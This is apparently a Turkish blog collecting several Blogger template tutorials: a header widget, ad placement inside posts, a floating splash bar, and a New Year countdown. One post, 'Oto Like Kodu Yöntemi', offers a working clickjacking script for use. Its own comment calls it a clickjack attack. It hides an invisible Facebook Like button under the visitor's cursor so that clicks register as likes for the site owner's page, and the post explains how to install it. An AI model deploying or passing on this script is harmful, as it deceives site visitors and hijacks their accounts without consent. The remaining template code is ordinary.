Blogger'e Üst Bilgi Gadgeti Eklemek, Nasıl Eklenir?

Bazı blogger alt yapılı blogların yerleşim kısmında "Üst Bilgi" dediğmiz bu gadgetin olmadığı farkettim. Özellikle Blogger sistemine ait olan olmayan temaların bazılarında bu dediğim sorun var. Aslında şablon kısmında anlayanlar için pek de sorun sayılmaz fakat olması daha iyidir. Pratiklik açısından. Blog başlığını, bannerini veya açıklamasını istediğiniz gibi tek bir gadget üzerinden değiştirebiliyorsunuz. (Hazır gadgetler arasında bu gadget mevcut değil.)

 

Pratiklik, esneklik ve kolaylık açısından da çok hoş aslında. Blogger kullanıcılarının %90'ınından fazlası bunu bilir fakat; üstte de dediğim gibi internet üzerinden tema uyarlamaları yaparken, tema yapan kişiler bazen bu gadgeti eklemeyi unutuyorlar. Acemi bloggerlar için ise header kısmıyla uğraşmak önemli bir sorun olabiliyor.

Neyse lafı fazla uzatmadan, bu gadgetin Blogger üzerinde nasıl aktif edileceğinden bahsediyim. Aslında yapımı çok basit.

Kontrol panelinizden "Şablon"  kısmına girin. Açılacan sayfadan "HTML'yi Düzenle" butonuna tıklayın. İlk önce temanın tüm kodlarının yedeğini almanızı öneriririm. Yani tüm kodları CTRL+A ile seçip, CTRL+C ile kopyalayın ve CTRL+V ile bir metin belgesine tüm kodları kaydedin ki yaptığınız bir hatadan dolayı blogunuzun şablonunu tamamen kaybetmeyin. Yedeğe alma işlemini yaptıktan sonra geriye kalan tek şey ise alttaki kodu, şablondaki header kısmına yapıştırmaktır.

CTRL + F yaparak kendi blogunuzun başlığının ve açıklamasının olduğu kısma ait kodların başlangıç ve bitişlerine göre silerek, alttaki kodu yapıştırın. Ben kodlardan falan anlamam diyorsanız siz direkt olarak kodunu aratın ve alttaki kodu da içine ekleyin ve tamamdır. Kodu body içinde ekleyeceğiniz yere  göre yerleşimdeki kısmı da değişiklik gösterebiliyor.

Kod içinde şöyle bir şey var.

id='Header1' locked='true'

Bu kısımdaki tırnaklar içinde true yazmakta. Eğer yerleşim kısmından, "Üst Bilgi" gadgetini kaldırmak veya yerini değiştirmek isterseniz o kısmı false yapmanız gerekmetedir.

Alttaki kodu, "Mozilla Firefox" ile siteye giriş yaparak CTRL + C ile kopyalayabilirsiniz.

<b:section class='header1' id='header1' maxwidgets='1' showaddelement='no'>
<b:widget id='Header1' locked='true' title='BLOGKAFEM.NET (Üstbilgi)' type='Header'>
<b:includable id='title'>
  <b:if cond='data:blog.url == data:blog.homepageUrl'>
    <data:title/>
  <b:else/>
    <a expr:href='data:blog.homepageUrl'><data:title/></a>
  </b:if>
</b:includable>
<b:includable id='description'>
  <div class='descriptionwrapper'>
    <p class='description'><span><data:description/></span></p>
  </div>
</b:includable>
<b:includable id='main'>

  <b:if cond='data:useImage'>
    <b:if cond='data:imagePlacement == &quot;BEHIND&quot;'>
      <!--
      Show image as background to text. You can't really calculate the width
      reliably in JS because margins are not taken into account by any of
      clientWidth, offsetWidth or scrollWidth, so we don't force a minimum
      width if the user is using shrink to fit.
      This results in a margin-width's worth of pixels being cropped. If the
      user is not using shrink to fit then we expand the header.
      -->
      <div expr:style='&quot;background-image: url(\&quot;&quot; + data:sourceUrl + &quot;\&quot;); &quot;                      + &quot;background-position: &quot;                      + data:backgroundPositionStyleStr + &quot;; &quot;                      + data:widthStyleStr                      + &quot;min-height: &quot; + data:height + &quot;px;&quot;                      + &quot;_height: &quot; + data:height + &quot;px;&quot;                      + &quot;background-repeat: no-repeat; &quot;' id='header-inner'>
        <div class='titlewrapper' style='background: transparent'>
          <h1 class='title' style='background: transparent; border-width: 0px'>
            <b:include name='title'/>
          </h1>
        </div>
        <b:include name='description'/>
      </div>
    <b:else/>
      <!--Show the image only-->
      <div id='header-inner'>
        <a expr:href='data:blog.homepageUrl' style='display: block'>
          <img expr:alt='data:title' expr:height='data:height' expr:id='data:widget.instanceId + &quot;_headerimg&quot;' expr:src='data:sourceUrl' expr:width='data:width' style='display: block'/>
        </a>
        <!--Show the description-->
        <b:if cond='data:imagePlacement == &quot;BEFORE_DESCRIPTION&quot;'>
          <b:include name='description'/>
        </b:if>
      </div>
    </b:if>
  <b:else/>
    <!--No header image -->
    <div id='header-inner'>
      <div class='titlewrapper'>
        <h1 class='title'>
          <b:include name='title'/>
        </h1>
      </div>
      <b:include name='description'/>
    </div>
  </b:if>
</b:includable>
</b:widget>
</b:section>

Oto Like Kodu Yöntemi - [Blogger Uyumlu]

Facebook sayfalarınızın beğeni sayısını arttırma diye açtığımız konunun son yöntemi de otoLike yöntemi. Bu yöntem sayesinde kendi web siteniz üzerinden facebook sayfalarınızın beğeni sayısını arttırabilirsiniz.

Yöntemin adından da anlaşılacağı gibi otomatitik beğendirme ile, sitenize girenlere istediğiniz sayfaları beğendirebiliyorsunuz. Bunun için aşağıdaki linke tıklayarak kodu bilgisayarınıza indirmeniz yeterlidir.

Kodu kopyalayabilmek için buraya tıklayınız.

Kod şöyle bir kod :

<script type="text/javascript">

/*
This code demonstrate a clickjack attack on websites. Similar to that of twitter & on facebook

*/

(function(){
var tempX = 0,
tempY = 0,

IE = document.all ? true : false;
if (!IE) document.captureEvents(Event.MOUSEMOVE);

var like = document.createElement('iframe');
like.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'http://www.facebook.com/SayfaAdresiniz') + '&amp;layout=standard&amp;show_faces=true&amp;widt h=53&amp;action=like&amp;colorscheme=light&amp;hei ght=80';
like.scrolling = 'no';
like.frameBorder = 0;
like.allowTransparency = 'true';
like.style.border = 0;
like.style.overflow = 'hidden';
like.style.cursor = 'pointer';
like.style.width = '53px';
like.style.height = '23px';
like.style.position = 'absolute';
like.style.opacity = 0; //Would be 0 if really used
document.getElementsByTagName('body')[0].appendChild(like);

window.addEventListener('mousemove', mouseMove, false);

setTimeout(function(){
document.getElementsByTagName('body')[0].removeChild(like);
window.removeEventListener('mousemove', mouseMove, false);
}, 10000);

function mouseMove(e) {
if (IE) {
tempX = event.clientX + document.body.scrollLeft;
tempY = event.clientY + document.body.scrollTop;
} else {
tempX = e.pageX;
tempY = e.pageY;
}

if (tempX < 0) tempX = 0;
if (tempY < 0) tempY = 0;

like.style.top = (tempY - 8) + 'px';
like.style.left = (tempX - 25) + 'px';

return true
}
})();
</script>

Sitede kopyalama yasağı olduğu için kodu link olarak indirmenizi istedim. Kodu bilgisayarınıza indirip açtıktan sonra yapmanız gereken tek şey, kod içindeki "SayfaAdresiniz" yazan yere facebook sayfanızın uzantısını yazmak. Aşağıdaki resimden de bunu görebilirsiniz.





Kısa bir örnek verecek olursam,

www.facebook.com/SayfaAdresiniz linkindeki "SayfaAdresiniz" yazan yeri silip, kendi facebook sayfamın adresini yazmak istiyorum diyelim. Benim facebook sayfamın adresi şu :

www.facebook.com/blogkafem

Benim sayfa adresimin sonundaki "blogkafem"i kopyalayıp, "SayfaAdresiniz" yazan yere yapıştırıyorum..Hepsi bu kadar.

Bu adımdan sonra kodu komple kopyalayıp, sitenizin uygun bir yerine yapıştırmak olacaktır. Eğer blogger alt yapısına sahip bir blogunuz varsa, kodu "Gadget" olarak eklemeniz yeterli olacaktır.



Ana Konuya Gitmek İçin Buraya Tıklayınız : "Facebook Sayfalarının Beğeni Sayısını Arttırma Yöntemleri"

Blogger'de Yazılar Arasına ve İçine Reklam Eklemek

İki farklı sitedeki anlatımı inceleyerek kendi aklımda bir birleşim yaptım ve bu birleşimi de burada sizlerle paylaşmaya karar verdim.Yapacaklarımız çok basit.



1- İlk olarak Şablon > HTML'yi Düzenle > Widget Şablonlarını Genişlet'i tıklarayak tüm kodların gözükmesini sağlıyoruz.



2- Bu kodlar içerisinden Ctrl+F yardımı ile

<div class='post-body'>

tagını buluyoruz.



3- Kodu bulduktan sonra hemen üstüne şu kodları :

<b:if cond='data:blog.pageType == "item"'>

</b:if>

yapıştırıyoruz ve burada kalıyoruz.





Adsenseden aldığımız kodu şu sitedeki kutucuğa yapıştırıp PARSE butonuna basıyoruz.Daha sonra karşımıza adsense kodlarının daha karmaşık görüntüsü çıkacak onu kopyalayıp, aşağıda belirttiğim gibi yukarıda vermiş olduğum kod içine yapıştıracaksınz





Örnek :

<b:if cond='data:blog.pageType == "item"'>

buraya kod gelecek

</b:if>

Daha sonrada şablonu kaydediyorsunuz.Şablonu kaydettikten 10dk. sonra reklamınız gözükmeye başlayacaktır.

Blogger'de Siteleri Splash Açma Kodu

Blogger'de bu da oldu ve artık istediğiniz siteyi bloggerde splash şekilde açabiliyorsunuz.Aşağıdaki verdiğim kodu kopyalayıp bilgisayarınıza kaydediyorsunuz metin belgesi içine kaydediyorsunuz.Daha sonra ctrl+F yaparak "KODUNUZ" kelimesini aratıyorsunuz ve bu yazının yerine reklam kodunuzu yada herhangi bir sitenin banner kodunu yapıştırıp kaydettikten sonra kodu Gadget olarak ekliyorsunuz.Hepsi bu kadar.. :) Takıldığınız bir yer varsa yorum olarak belirtebilirsiniz.Ayrıca sitemde yazı kopyalama yasağı olduğu için kopyalayamayabilirsiniz kodu eğer kopyalayamazsanız aşağı yorum olarak bildirin ben yorum kısmına eklerim.

<!-- start -->

<style type="text/css">




#topbar{
position:absolute;
border: 0px solid red;
margin-top: 1000px
background-color: black;
width: 200px;
visibility: hidden;
z-index: 0;
}

</style>

<script type="text/javascript">
var persistclose=1 //set to 0 or 1. 1 means once the bar is manually closed, it will remain closed for browser session
var startX = 10 //set x offset of bar in pixels
var startY = 5 //set y offset of bar in pixels
var verticalpos="fromtop" //enter "fromtop" or "frombottom"

function iecompattest(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) {
offset += search.length
end = document.cookie.indexOf(";", offset);
if (end == -1) end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function closebar(){
if (persistclose)
document.getElementById("topbar").style.visibility="hidden"
}

function staticbar(){
barheight=document.getElementById("topbar").offsetHeight
var ns = (navigator.appName.indexOf("Netscape") != -1) || window.opera;
var d = document;
function ml(id){
var el=d.getElementById(id);
if (!persistclose || persistclose && get_cookie("remainclosed")=="")
el.style.visibility="visible"
if(d.layers)el.style=el;
el.sP=function(x,y){this.style.right=x+"px";this.style.top=y+"px";};
el.x = startX;
if (verticalpos=="fromtop")
el.y = startY;
else{
el.y = ns ? pageYOffset + innerHeight : iecompattest().scrollTop + iecompattest().clientHeight;
el.y -= startY;
}
return el;
}
window.stayTopright=function(){
if (verticalpos=="fromtop"){
var pY = ns ? pageYOffset : iecompattest().scrollTop;
ftlObj.y += (pY + startY - ftlObj.y)/8;
}
else{
var pY = ns ? pageYOffset + innerHeight - barheight: iecompattest().scrollTop + iecompattest().clientHeight - barheight;
ftlObj.y += (pY - startY - ftlObj.y)/8;
}
ftlObj.sP(ftlObj.x, ftlObj.y);
setTimeout("stayTopright()", 0);
}
ftlObj = ml("topbar");
stayTopright();
}

if (window.addEventListener)
window.addEventListener("load", staticbar, false)
else if (window.attachEvent)
window.attachEvent("onload", staticbar)
else if (document.getElementById)
window.onload=staticbar
</script>



<div id="topbar">
</center>
<center><a href="javascript:;" onclick="closebar()"><font size="1">KAPAT</font></a><center>http://www.blogger.com/img/blank.gif
KODUNUZ
</center>

</div>

<!-- finish -->

Yeni Yıl İçin Geri Sayım Kodu

Aşağıdaki kod ile sitenize yada blogunuza geri sayım ekleyebilirsiniz.

<center>Yeni yıla <script language="JavaScript">
TargetDate = "01/01/2010 00:00 AM";
BackColor = "gray";
ForeColor = "black";
CountActive = true;
CountStepper = -1;
LeadingZero = true;
DisplayFormat = "%%D%% Gün, %%H%% Saat, %%M%% Dakika, %%S%% Saniye.";
FinishMessage = "Hoşgeldin 2010!";
</script>
<script language="JavaScript" src="http://scripts.hashemian.com/js/countdown.js"></script> Kaldı </center>